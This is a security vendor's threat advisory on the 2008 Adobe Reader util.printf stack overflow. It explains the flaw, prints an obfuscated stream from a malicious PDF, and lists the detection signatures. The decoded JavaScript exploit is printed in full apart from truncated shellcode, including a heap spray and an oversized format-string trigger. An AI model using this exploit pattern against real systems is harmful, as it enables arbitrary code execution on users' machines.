Adobe Reader util.printf Buffer Overflow (Nov 7, 2008)

By

Adobe Reader (formerly Acrobat Reader) is a ubiquitous application for viewing PDF (Portable Document Format) documents.

Since version 4.0, Acrobat includes JavaScript functionality allowing for customization and extensibility. Acrobat JavaScript is an extension of the core JavaScript which adds Acrobat-specific classes that enable the author to manage document related tasks. These classes include app, dbg, console, SOAP, ADBC, util, etc.

The util object provides the printf method which takes as argument, a format string specifier and values to be formatted; then it returns the corresponding formatted string. For example:

   var num = 12345
   util.printf(“%.2f”, num)

We get 12345.00.

There exists a stack buffer overflow in Adobe Reader when parsing specially crafted PDF files. Specifically, the vulnerability is caused due to a boundary error when parsing format strings containing a floating point specifier in the “util.printf()” JavaScript function. If the format string contains specific width for a floating point number, the code will copy the padding spaces (0x20) to a stack-allocated buffer with fixed length. Supplying an overly large width will overflow the buffer with spaces and overwrite SEH. For Example:

   var num = 1.2
   util.printf(“%5000f”, num)

This causes the byte 0x20 to be copied 5000 times on the stack and overflows the buffer.

An attacker can exploit this vulnerability by enticing a user to open a PDF document, which contains a malformed floating point specifier in the “util.printf()” JavaScript function. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the currently logged in user. Code injection that does not result in execution would terminate the application due to memory corruption.

To evade the detection of the attack an attacker might use obfuscate techniques. For example, one of the PDF files exploiting this vulnerability contains the following FlateDecode stream:

x48x89xACx57x6Dx8Bx14x31x0CxFEx2ExF8x27x0Ex06xEE
x10x64xB6x69xD3x19xFCxE4xEEx9ExFFx43x8Ex05x05xF1
xC4x53x7FxBFx4DxFAx96xA4x5DxCFx13x61x76xE8xA6xE9
xD3xE4xC9x4Bx3Bx97x5Fx1FxBFxDCxFExFCx7Ax79x7AxF8
xF8xEDx72x7Bx73xF3xE6x66x49xBFx88x0Bx1Ex78xE0x16
[…truncated]
xE3xC3xEDx8FxEFx3Fx2Fx77xEFx7Ex0Bx30x00xDAxDAxDC
xBB

Which would be decoded as:

function main() {

var sccs = unescape(“%u03eb%ueb59%ue805%ufff8[…truncated]“);

var bgbl = unescape(“%u0A0A%u0A0A”);
var slspc = 20 + sccs.length;
while(bgbl.length < slspc) bgbl += bgbl;
var fblk = bgbl.substring(0,slspc);
var blk = bgbl.substring(0,bgbl.length – slspc);
while(blk.length + slspc < 0x60000) blk = blk + blk + fblk; var mmy = new Array();
for(i = 0; i < 1200; i++){ mmy[i] = blk + sccs } var nm = 12;
for(i = 0; i < 18; i++){ nm = nm + "9"; }
for(i = 0; i < 276; i++){ nm = nm + "8"; } util.printf(“%45000f”, nm); this.closeDoc(true);
}

app.setTimeOut(“main()”, 5000);

SonicWALL Gateway AntiVirus provides protection against this vulnerability via GAV: PDF.util.printf.AS (Exploit) and PDF.util.printf.AS_2 (Exploit) signatures.

Security News
The SonicWall Capture Labs Threat Research Team gathers, analyzes and vets cross-vector threat information from the SonicWall Capture Threat network, consisting of global devices and resources, including more than 1 million security sensors in nearly 200 countries and territories. The research team identifies, analyzes, and mitigates critical vulnerabilities and malware daily through in-depth research, which drives protection for all SonicWall customers. In addition to safeguarding networks globally, the research team supports the larger threat intelligence community by releasing weekly deep technical analyses of the most critical threats to small businesses, providing critical knowledge that defenders need to protect their networks.